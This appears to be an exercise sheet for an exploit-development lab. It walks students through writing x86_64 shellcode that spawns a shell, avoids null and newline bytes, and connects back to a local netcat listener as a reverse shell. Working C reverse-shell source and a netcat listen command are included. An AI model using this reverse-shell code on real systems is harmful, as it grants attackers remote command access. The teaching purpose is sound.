Lab 2 Exercises:

You are given 2 files, lab_2.py and shellcode_runner. Write custom shellcode in lab_2.py and run it to test your shellcode with shellcode_runner.

1) Write shellcode to spawn a shell locally
2) If your shellcode doesn't already, find out how to spawn a shell without using the values 0x00, 0x0a, 0x0b, 0x0d, 0xff
3) Use the program netcat to listen on a local port in a separate terminal. An example command is: **nc -nvlp 8080**. This will spawn a process listening on the port for any traffic
4) While the netcat process is running, create shellcode that will do the following

```c
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}
```

   a) Call the socket syscall with the family=2, SOCK_STREAM=1, protocol=0. This will return and set your rax register to the file descriptor for a new socket

b) Create a sock_addr_in struct on the stack this is of the following form

```
struct sockaddr_in {
    short int          sin_family;
    unsigned short int sin_port;
    struct in_addr     sin_addr;
    unsigned char      sin_zero[8];
};
```

Remember that since we read up on the stack, sin_zero would be the first value pushed onto the stack.

Sin_zero can be null bytes, sin_addr should be a 4 byte long representing the ip 127.0.0.1 (localhost), sin_port is the short integer used in the netcat process, sin_family should be the value 2 for AF_INET (2 bytes)
Check out more socket details at
https://www.tutorialspoint.com/unix_sockets/socket_structures.htm

c) Call the connect syscall with the length set to 16 (size of sockaddr_in struct)
d) Call the syscall dup2(socket_file_discriptor, i) for i in 0,1,2 to copy the socket io into your python scripts io
e) Call the syscall execve to spawn a shell

Syscall tables can be found here:
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/